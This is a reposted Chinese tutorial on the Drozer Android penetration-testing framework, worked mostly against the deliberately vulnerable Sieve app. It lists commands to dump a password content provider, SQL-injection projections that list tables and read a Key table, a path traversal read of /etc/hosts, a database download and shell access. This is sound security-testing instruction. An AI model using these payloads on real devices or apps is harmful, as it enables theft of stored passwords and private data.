Drozer使用手册

Drozer ⼯具的安装与启动:源码地址(https://github.com/mwrlabs/drozer/)
1. 安装
(1) 下载 https://www.mwrinfosecurity.com/products/drozer/community-edition/
Mac下可以下载python版
(2) PC上安装drozer:
sudo easy_install --allow-hosts pypi.python.org protobuf==2.4.1
easy_install twisted==10.2.0 (为了⽀持Infrastructure模式)
sudo easy_install ./drozer-2.3.4-py2.7.egg
(3) 在Android设备上安装agent.apk
adb install agent.apk
2. 启动
(1) PC上使⽤adb进⾏端⼝转发,转发到Drozer使⽤的端⼝31415
adb forward tcp:31415 tcp:31415
(2) 在Android设备上开启Drozer Agent,选择embedded server-enabled
(3) 在PC上开启Drozer Console
drozer console connect

一、 Android组件安全测试

1.获取包名
dz> run app.package.list -f sieve

com.mwr.example.sieve

2.获取应用的基本信息

run app.package.info -a com.mwr.example.sieve

3.确定攻击面

run app.package.attacksurface com.mwr.example.sieve

4.Activity

(1)获取activity信息

run app.activity.info -a com.mwr.example.sieve

(2)启动activity

run app.activity.start --component com.mwr.example.sieve

dz> help app.activity.start

usage: run app.activity.start -h --action ACTION --category CATEGORY

--component PACKAGE COMPONENT --data-uri DATA_URI

--extra TYPE KEY VALUE [--flags FLAGS FLAGS ...]

--mimetype MIMETYPE

5.Content Provider

(1)获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(数据泄露)

先获取所有可以访问的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞

(3)Content Providers(SQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -projection "* FROM SQLITE_MASTER WHERE type='table';-"

获取某个表(如Key)中的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -projection "* FROM Key;-"

(4)同时检测SQL注入和目录遍历

run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve

6.Service

(1)获取service详情

run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

am startservice --n 包名/service名

7.Broadcast Receiver

app.broadcast.info 获取broadcast receivers信息

app.broadcast.send 通过intent发送broadcast receiver

 

 

全部命令:

list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent       //查看指定模块的帮助信息
> run app.package.list      //列出android设备中安装的app
> run app.package.info -a com.android.browser       //查看指定app的基本信息
> run app.activity.info -a com.android.browser      //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
> run shell.start       //shell操作
> run tools.setup.busybox       //安装busybox
> list auxiliary        //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver     //webcontentresolver帮助
> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问
以sieve示例
> run app.package.list -f sieve         //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve   //确定攻击面
> run app.activity.info -a com.mwr.example.sieve         //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
> run app.provider.info -a com.mwr.example.sieve        //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址 
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve         //查看服务

猜你喜欢

转载自myeyeofjava.iteye.com/blog/2271788